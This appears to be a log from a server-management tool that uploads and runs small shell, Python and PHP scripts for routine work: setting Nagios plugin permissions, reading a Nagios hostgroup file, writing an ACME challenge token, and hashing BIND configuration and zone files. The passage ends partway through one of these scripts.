chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:14:05: 

chmod 755 /tmp/pkp996314; /tmp/pkp996314; rm /tmp/pkp996314

2026-05-11 10:14:05: 


ok


2026-05-11 10:14:05: 

PUT: /tmp/pkp701639

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_iwatch.php'
echo ok


2026-05-11 10:14:05: 

chmod 755 /tmp/pkp701639; /tmp/pkp701639; rm /tmp/pkp701639

2026-05-11 10:14:05: 


ok


2026-05-11 10:14:05: 

PUT: /tmp/pkp798424

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-05-11 10:14:05: 

chmod 755 /tmp/pkp798424; /tmp/pkp798424; rm /tmp/pkp798424

2026-05-11 10:14:05: 


ok


2026-05-11 10:14:05: 

PUT: /tmp/pkp533156

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:14:05: 

chmod 755 /tmp/pkp533156; /tmp/pkp533156; rm /tmp/pkp533156

2026-05-11 10:14:05: 


ok


2026-05-11 10:14:05: 

PUT: /tmp/pkp464252

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-05-11 10:14:05: 

chmod 755 /tmp/pkp464252; /tmp/pkp464252; rm /tmp/pkp464252

2026-05-11 10:14:05: 


ok


2026-05-11 10:14:05: 

PUT: /tmp/pkp644583

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-05-11 10:14:05: 

chmod 755 /tmp/pkp644583; /tmp/pkp644583; rm /tmp/pkp644583

2026-05-11 10:14:05: 


ok


2026-05-11 10:28:36: Establishing a connection
2026-05-11 10:28:36: Establishing a connection
2026-05-11 10:28:37: 

PUT: /tmp/pkp111509

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp111509; /tmp/pkp111509; rm /tmp/pkp111509

2026-05-11 10:28:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-05-11 10:28:37: 

systemctl reload nagios

2026-05-11 10:28:37: 




2026-05-11 10:28:37: 

PUT: /tmp/pkp453384

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp453384; /tmp/pkp453384; rm /tmp/pkp453384

2026-05-11 10:28:37: 


ok


2026-05-11 10:28:37: 

PUT: /tmp/pkp150378

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp150378; /tmp/pkp150378; rm /tmp/pkp150378

2026-05-11 10:28:37: 


ok


2026-05-11 10:28:37: 

PUT: /tmp/pkp232220

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp232220; /tmp/pkp232220; rm /tmp/pkp232220

2026-05-11 10:28:37: 


ok


2026-05-11 10:28:37: 

PUT: /tmp/pkp472903

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp472903; /tmp/pkp472903; rm /tmp/pkp472903

2026-05-11 10:28:37: 


ok


2026-05-11 10:28:37: 

PUT: /tmp/pkp414019

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp414019; /tmp/pkp414019; rm /tmp/pkp414019

2026-05-11 10:28:37: 


ok


2026-05-11 10:28:37: 

PUT: /tmp/pkp891656

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp891656; /tmp/pkp891656; rm /tmp/pkp891656

2026-05-11 10:28:37: 


ok


2026-05-11 10:28:37: 

PUT: /tmp/pkp181937

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_iwatch.php'
echo ok


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp181937; /tmp/pkp181937; rm /tmp/pkp181937

2026-05-11 10:28:37: 


ok


2026-05-11 10:28:37: 

PUT: /tmp/pkp514225

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp514225; /tmp/pkp514225; rm /tmp/pkp514225

2026-05-11 10:28:37: 


ok


2026-05-11 10:28:37: 

PUT: /tmp/pkp483403

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp483403; /tmp/pkp483403; rm /tmp/pkp483403

2026-05-11 10:28:37: 


ok


2026-05-11 10:28:37: 

PUT: /tmp/pkp675618

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-05-11 10:28:37: 

chmod 755 /tmp/pkp675618; /tmp/pkp675618; rm /tmp/pkp675618

2026-05-11 10:28:37: 


ok


2026-05-11 10:28:38: 

PUT: /tmp/pkp315761

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-05-11 10:28:38: 

chmod 755 /tmp/pkp315761; /tmp/pkp315761; rm /tmp/pkp315761

2026-05-11 10:28:38: 


ok


2026-05-12 06:00:02: Establishing a connection
2026-05-12 06:00:03: Establishing a connection
2026-05-12 06:00:03: 

PUT: /tmp/pkp131128

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-12 06:00:03: 

chmod 755 /tmp/pkp131128; /tmp/pkp131128; rm /tmp/pkp131128

2026-05-12 06:00:03: 


1


2026-05-12 06:00:05: Establishing a connection
2026-05-12 06:00:05: 

PUT: /tmp/pkp615892

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > UWDCw9iqsrCpsY53xcvE3JenZcNq3UpjDYnRsdBNHR8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UWDCw9iqsrCpsY53xcvE3JenZcNq3UpjDYnRsdBNHR8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UWDCw9iqsrCpsY53xcvE3JenZcNq3UpjDYnRsdBNHR8


2026-05-12 06:00:05: 

chmod 755 /tmp/pkp615892; /tmp/pkp615892; rm /tmp/pkp615892

2026-05-12 06:00:05: 




2026-05-12 06:00:06: Establishing a remote connection
2026-05-12 15:49:25: Establishing a connection
2026-05-12 15:49:40: Establishing a connection
2026-05-12 15:49:40: 

PUT: /tmp/pkp413644

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-12 15:49:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp413644; rm /tmp/pkp413644'

2026-05-12 15:49:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 08:06:43: Establishing a connection
2026-05-13 08:06:52: Establishing a connection
2026-05-13 08:06:52: 

PUT: /tmp/pkp784052

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
